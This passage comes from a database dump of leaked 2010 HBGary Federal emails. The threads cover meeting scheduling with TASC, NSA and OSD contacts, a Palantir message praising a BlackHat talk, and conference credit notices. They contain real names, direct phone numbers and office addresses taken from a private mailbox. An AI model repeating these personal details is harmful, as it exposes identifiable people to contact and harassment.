happen,\r\n>>>>>\r\n>>>>>    Larry\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>>> To: Strang, Larry (TASC)\r\n>>>>> Subject: Discussion on cyber\r\n>>>>>\r\n>>>>> Hi Larry,\r\n>>>>>\r\n>>>>> Congratulations... I think. ;)\r\n>>>>>\r\n>>>>> Attached is our datasheet for information security services.  I\r\n>> would\r\n>>>>> like to get together at your convenience to talk cyber.  I had a\r\n>>> brief\r\n>>>>> meeting with Wood last week and mentioned to him, if interested, i\r\n>>>> would\r\n>>>>> like to work together.  TASC is a second home for me and contains\r\n>>> many\r\n>>>>> friends.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',4940,'aaron_hbgary_com/4940.html'),(7666,'2010-06-23','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005901.M290940P14101Q2521.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','Meant Thursday.  Sorry.  Same times, different day.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 23, 2010 7:53 AM\r\nTo: Strang, Larry (TASC)\r\nSubject: Re: Discussion on cyber\r\n\r\nToday or tomorrow?  We thinking of meeting Thursday right?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 23, 2010, at 7:45 AM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> I have an 8-10 and a 11-1 today so later is better.  Let me know,\r\n>\r\n>    Larry\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 22, 2010 9:05 PM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> OK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the\r\n> morning or 2pm or later?\r\n>\r\n> Aaron\r\n>\r\n> On Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n>\r\n>> Am in the Navy symposium in HCC all day today.  Looks like Thursday\r\n> for\r\n>> right now.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 21, 2010 6:39 PM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> Sure.  I can do thursday, unless you can do tomorrow morning?  I am\r\n>> in\r\n>> MD all tomorrow.\r\n>>\r\n>> Your call.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>>  wrote:\r\n>>\r\n>>> Whoops, life at the speed of cyber just struck; am now headed to one\r\n>> of\r\n>>> the local colleges Wed afternoon to work on a cyber curriculum so we\r\n>>> will have to look at another time. Your next best opportunity?\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, June 21, 2010 5:33 PM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>>\r\n>>> We\'d afternoon would be great if you have the time then.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> I sit in AJ but also spend a day or two a week in Chantilly.\r\n> Thursday\r\n>>> I\r\n>>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>>> Chantilly in the afternoon.  Thoughts\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Re: Discussion on cyber\r\n>>>>\r\n>>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n>> much\r\n>>>> better fit, not so big, mission not so spread out.  You can focus\r\n> you\r\n>>>> energies to help them develop a cyber strategy within a much more\r\n>>>> defined context.  Still any cyber strategy effort today is not\r\n>> without\r\n>>>> its challenges, the government just is not getting its act\r\n>>>> together.\r\n>>>>\r\n>>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>>> anxiety and exhilaration of trying to build a business is an\r\n>>> invaluable\r\n>>>> experience for me.  I am not happy with the manner in which I left,\r\n>>> but\r\n>>>> alls well that ends well and I have maintained good relationships\r\n>> with\r\n>>>> just about all of my previous close coworkers.  I sit in\r\n>>> Tysons/Mclean.\r\n>>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n>> Colorado\r\n>>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that\r\n> order.\r\n>>>> This week I have Thursday open and am pretty open next week.  I\r\n>>>> will\r\n>>> be\r\n>>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I\r\n> am\r\n>>>> not sure where you sit.  Let me know when you have some\r\n> availability.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>>>\r\n>>>>> Hey Aaron,\r\n>>>>>\r\n>>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>>> tentative congratulations but I will tell you I am pleased to be\r\n>>> here.\r\n>>>>> Northrop is a great company, just way too big, and like the three\r\n>>>> bears\r\n>>>>> said, this one is JUST right.  Or at least it is so far.  And many\r\n>> of\r\n>>>>> your friends here still remember you well.  I think I saw where\r\n> your\r\n>>>>> duty title was the CEO and so I am duly impressed.\r\n>>>>> Congratulations\r\n>>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>>> together?  Let me know and we\'ll make it happen,\r\n>>>>>\r\n>>>>>    Larry\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>>> To: Strang, Larry (TASC)\r\n>>>>> Subject: Discussion on cyber\r\n>>>>>\r\n>>>>> Hi Larry,\r\n>>>>>\r\n>>>>> Congratulations... I think. ;)\r\n>>>>>\r\n>>>>> Attached is our datasheet for information security services.  I\r\n>> would\r\n>>>>> like to get together at your convenience to talk cyber.  I had a\r\n>>> brief\r\n>>>>> meeting with Wood last week and mentioned to him, if interested, i\r\n>>>> would\r\n>>>>> like to work together.  TASC is a second home for me and contains\r\n>>> many\r\n>>>>> friends.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',12833,'aaron_hbgary_com/12833.html'),(7667,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005902.M586618P14101Q2522.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','Lol great ok so how about 2pm @your office?  Can you send me the\r\naddress?\r\n\r\nThanks\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 23, 2010, at 7:55 AM, \"Strang, Larry (TASC)\"  wrote:\r\n\r\n> Meant Thursday.  Sorry.  Same times, different day.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 7:53 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> Today or tomorrow?  We thinking of meeting Thursday right?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 23, 2010, at 7:45 AM, \"Strang, Larry (TASC)\"\r\n> > wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> I have an 8-10 and a 11-1 today so later is better.  Let me know,\r\n>>\r\n>>   Larry\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, June 22, 2010 9:05 PM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> OK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the\r\n>> morning or 2pm or later?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n>>\r\n>>> Am in the Navy symposium in HCC all day today.  Looks like Thursday\r\n>> for\r\n>>> right now.\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, June 21, 2010 6:39 PM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>>\r\n>>> Sure.  I can do thursday, unless you can do tomorrow morning?  I am\r\n>>> in\r\n>>> MD all tomorrow.\r\n>>>\r\n>>> Your call.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Whoops, life at the speed of cyber just struck; am now headed to\r\n>>>> one\r\n>>> of\r\n>>>> the local colleges Wed afternoon to work on a cyber curriculum so\r\n>>>> we\r\n>>>> will have to look at another time. Your next best opportunity?\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, June 21, 2010 5:33 PM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Re: Discussion on cyber\r\n>>>>\r\n>>>> We\'d afternoon would be great if you have the time then.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>>>  wrote:\r\n>>>>\r\n>>>>> I sit in AJ but also spend a day or two a week in Chantilly.\r\n>> Thursday\r\n>>>> I\r\n>>>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>>>> Chantilly in the afternoon.  Thoughts\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>>>> To: Strang, Larry (TASC)\r\n>>>>> Subject: Re: Discussion on cyber\r\n>>>>>\r\n>>>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n>>> much\r\n>>>>> better fit, not so big, mission not so spread out.  You can focus\r\n>> you\r\n>>>>> energies to help them develop a cyber strategy within a much more\r\n>>>>> defined context.  Still any cyber strategy effort today is not\r\n>>> without\r\n>>>>> its challenges, the government just is not getting its act\r\n>>>>> together.\r\n>>>>>\r\n>>>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>>>> anxiety and exhilaration of trying to build a business is an\r\n>>>> invaluable\r\n>>>>> experience for me.  I am not happy with the manner in which I\r\n>>>>> left,\r\n>>>> but\r\n>>>>> alls well that ends well and I have maintained good relationships\r\n>>> with\r\n>>>>> just about all of my previous close coworkers.  I sit in\r\n>>>> Tysons/Mclean.\r\n>>>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n>>> Colorado\r\n>>>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that\r\n>> order.\r\n>>>>> This week I have Thursday open and am pretty open next week.  I\r\n>>>>> will\r\n>>>> be\r\n>>>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I\r\n>> am\r\n>>>>> not sure where you sit.  Let me know when you have some\r\n>> availability.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>>>>\r\n>>>>>> Hey Aaron,\r\n>>>>>>\r\n>>>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>>>> tentative congratulations but I will tell you I am pleased to be\r\n>>>> here.\r\n>>>>>> Northrop is a great company, just way too big, and like the three\r\n>>>>> bears\r\n>>>>>> said, this one is JUST right.  Or at least it is so far.  And\r\n>>>>>> many\r\n>>> of\r\n>>>>>> your friends here still remember you well.  I think I saw where\r\n>> your\r\n>>>>>> duty title was the CEO and so I am duly impressed.\r\n>>>>>> Congratulations\r\n>>>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>>>> together?  Let me know and we\'ll make it happen,\r\n>>>>>>\r\n>>>>>>   Larry\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>>>> To: Strang, Larry (TASC)\r\n>>>>>> Subject: Discussion on cyber\r\n>>>>>>\r\n>>>>>> Hi Larry,\r\n>>>>>>\r\n>>>>>> Congratulations... I think. ;)\r\n>>>>>>\r\n>>>>>> Attached is our datasheet for information security services.  I\r\n>>> would\r\n>>>>>> like to get together at your convenience to talk cyber.  I had a\r\n>>>> brief\r\n>>>>>> meeting with Wood last week and mentioned to him, if\r\n>>>>>> interested, i\r\n>>>>> would\r\n>>>>>> like to work together.  TASC is a second home for me and contains\r\n>>>> many\r\n>>>>>> friends.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',6807,'aaron_hbgary_com/6807.html'),(7668,'2010-06-23','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297005902.M919959P14101Q2523.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: hbgary','It would be somewhere around 7...\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 9:30 PM\r\nTo: Merritt, David CTR OSD CIO\r\nSubject: Re: hbgary\r\n\r\nDave,\r\n\r\nI forgot to send you Greg\'s presentation.\r\n\r\nDo you have time to grab a drink after work on Friday?\r\n\r\nAaron\r\n\r\n',2875,'aaron_hbgary_com/2875.html'),(7669,'2010-06-23','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','/aaron@hbgary.com/new/1297005903.M161739P14101Q2524.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: contact','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n1130 works. I&#8217;ll meet you in the lobby of FANX III.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, June 22, 2010 4:41 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure. &nbsp;Can we do both? &nbsp;Give us a few minutes in a\r\nsecure place for any context and then lunch? &nbsp;Is 1100 or 1130 ok?\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:54 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nat FANX though not at the Fort. We can meet inside or grab lunch across the\r\nstreet.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 3:47 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds\r\ngood. &nbsp;I have a badge so I can meet you in your bldg or somewhere else, up\r\nto you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 3:32 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nfree lunch time on Thursday.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 22, 2010 2:57 PM\r\nTo: Sinclair, Adrian W.\r\nSubject: Re: contact\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAdrian,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHappy\r\nto discuss. &nbsp;You don\'t happen to have time this Thursday do you? &nbsp;I\r\nwill be up in MD all day. &nbsp;Otherwise let\'s try to get together next week.\r\n&nbsp;Please feel free to call 719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:55 PM, &quot;Sinclair, Adrian W.&quot; &lt;awsincl@missi.ncsc.mil&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m\r\nfollowing up on our brief chat after your presentation last week at the ReBl\r\nSymposium. We only had a moment to discuss some of the implications and the\r\ndirection where the problem of social networking exploitation is going to take\r\nus in the near future where proliferation of geo-location based SN services\r\nwill be dominant. If you have a moment I&#8217;d like to speak with you a\r\nlittle bit more on the topic. \r\n\r\n&nbsp;\r\n\r\nPlease\r\nlet me know if you&#8217;re interested and when is the best time to reach you.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nAdrian Sinclair, CISM\r\n\r\nNSA Special Programs Office\r\n\r\nInformation Assurance Directorate\r\n\r\nOffice Tel: (410) 854-9124\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14480,'aaron_hbgary_com/14480.html'),(7670,'2010-06-23','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297005903.M426043P14101Q2525.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','NICE PRESS!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nKudos: http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfd/\r\n\r\n&nbsp;\r\n\r\nGreg is going to crush it at BlackHat.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3186,'aaron_hbgary_com/3186.html'),(7671,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005903.M737814P14101Q2526.eml','\"Greg Hoglund\" <greg@hbgary.com>','Blackhat','What days r u in Vegas?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',892,'aaron_hbgary_com/892.html'),(7672,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005921.M908078P14101Q2527.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Re: NICE PRESS!','Thanks.  Yes he is.\r\n\r\nHe previewed this talk at the NSA REBL conference last week.  I gave a talk on Social Networking, Exploitation, and Persistent Internet Operations.  I was just told this morning that our two talks received the strongest positive feedback of all the talks.  Attached is my slides for that presentation.  I am talking with 1st IO, NSA IA, and OSD this week about New Media and the vulnerabilities it creates for organizations.\r\n\r\nWe are developing a curriculum to offer organizations on New Media.  We are also going to start working on a new media mapping capability leveraging Fidelis XPS and HBGary Active Defense.  Things are just too slow going because I don\'t have the work yet to hire enough people for what I want to do but we will get there.  New Media is the new and future exploitation vehicle and I hope to ride the front of that wave (on both sides). \r\n\r\nHey how about a Pong challenge next Friday.  I will make sure Bob is there.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Jun 23, 2010, at 9:18 AM, Matthew Steckman wrote:\r\n\r\n> Aaron,\r\n>  \r\n> Kudos: http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfd/\r\n>  \r\n> Greg is going to crush it at BlackHat.\r\n>  \r\n> Best,\r\n> Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15911,'aaron_hbgary_com/15911.html'),(7673,'2010-06-23','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005932.M274084P14101Q2528.eml','\"Kristen Jacobucci\" <kjacobucci@capsllc.net>,\"Phoebe J. Boelter\" <pboelter@capsllc.net>','FIRST 2010 CPE Credits','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\neveryone,\r\n\r\n&nbsp;\r\n\r\nI\r\nam collecting your (ISC)2 numbers at this time.&nbsp; I will be\r\nturning in your numbers and the official participant&#8217;s list this Friday,\r\nJune 25th.&nbsp; Please keep in mind that you also have the ability\r\nto submit your hours via the (ISC)2 website if you miss our turn-in deadline.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nCredits\r\nwill be applied as follows:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMain Conference: 26.5 hours\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSunday&#8217;s Joint FIRST/ICANN Workshop: 3 hours&nbsp; \r\n\r\n&nbsp;\r\n\r\nFor\r\nthose of you with ISACA certifications, please ensure you turn in your hours at\r\nthe appropriate times supplied by ISACA.&nbsp; ISACA does not offer our office\r\nany special procedures to turn in credit hours.\r\n\r\n&nbsp;\r\n\r\nEnsure\r\nthat you grab a digital copy of the program booklet for your records - http://conference.first.org/Program/FIRST%202010%20Program%20Booklet%20FINAL%20COPY%20WEB.pdf.\r\n\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions, please don&#8217;t hesitate to contact me.\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10172,'aaron_hbgary_com/10172.html'),(7674,'2010-06-23','\"Charlie Scuilla\" <charlie@scuilla.com>','/aaron@hbgary.com/new/1297005935.M803498P14101Q2529.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting Gatorbiat','Sorry it t\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7189,'aaron_hbgary_com/7189.html'),(7675,'2010-06-23','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005936.M895039P14101Q2530.eml','\"Traci Wei\" <twei@capsllc.net>,\"Kristen Jacobucci\" <kjacobucci@capsllc.net>,\"Phoebe J. Boelter\" <pboelter@capsllc.net>','RE: FIRST 2010 CPE Credits','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust to add &#8211; \r\n\r\n&nbsp;\r\n\r\nPresenters and program committee\r\nmembers do need to submit those hours separately online at the (ISC)2 website.\r\n\r\n&nbsp;\r\n\r\nThanks again!!\r\nTraci\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Traci Wei \r\nSent: Wednesday, June 23, 2010 8:54 AM\r\nTo: Kristen Jacobucci; Phoebe J. Boelter\r\nSubject: FIRST 2010 CPE Credits \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\neveryone,\r\n\r\n&nbsp;\r\n\r\nI\r\nam collecting your (ISC)2 numbers at this time.&nbsp; I will be turning\r\nin your numbers and the official participant&#8217;s list this Friday, June 25th.&nbsp;\r\nPlease keep in mind that you also have the ability to submit your hours via the\r\n(ISC)2 website if you miss our turn-in deadline.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCredits\r\nwill be applied as follows:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMain Conference: 26.5 hours\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSunday&#8217;s Joint FIRST/ICANN Workshop: 3 hours&nbsp; \r\n\r\n&nbsp;\r\n\r\nFor\r\nthose of you with ISACA certifications, please ensure you turn in your hours at\r\nthe appropriate times supplied by ISACA.&nbsp; ISACA does not offer our office\r\nany special procedures to turn in credit hours.\r\n\r\n&nbsp;\r\n\r\nEnsure\r\nthat you grab a digital copy of the program booklet for your records - http://conference.first.org/Program/FIRST%202010%20Program%20Booklet%20FINAL%20COPY%20WEB.pdf.\r\n\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou have any questions, please don&#8217;t hesitate to contact me.\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2323,'aaron_hbgary_com/2323.html'),(7676,'2010-06-23','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005937.M131716P14101Q2531.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','Kule, but need to make it 2:30 to allow for overrun from the one sched\r\nto end at 2.  Office is 2701 Technology Drive, AJ.  Phone is\r\n240-456-2004, call me from front desk and I\'ll come get you.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 23, 2010 8:00 AM\r\nTo: Strang, Larry (TASC)\r\nSubject: Re: Discussion on cyber\r\n\r\nLol great ok so how about 2pm @your office?  Can you send me the\r\naddress?\r\n\r\nThanks\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 23, 2010, at 7:55 AM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> Meant Thursday.  Sorry.  Same times, different day.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 7:53 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> Today or tomorrow?  We thinking of meeting Thursday right?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 23, 2010, at 7:45 AM, \"Strang, Larry (TASC)\"\r\n> > wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> I have an 8-10 and a 11-1 today so later is better.  Let me know,\r\n>>\r\n>>   Larry\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr 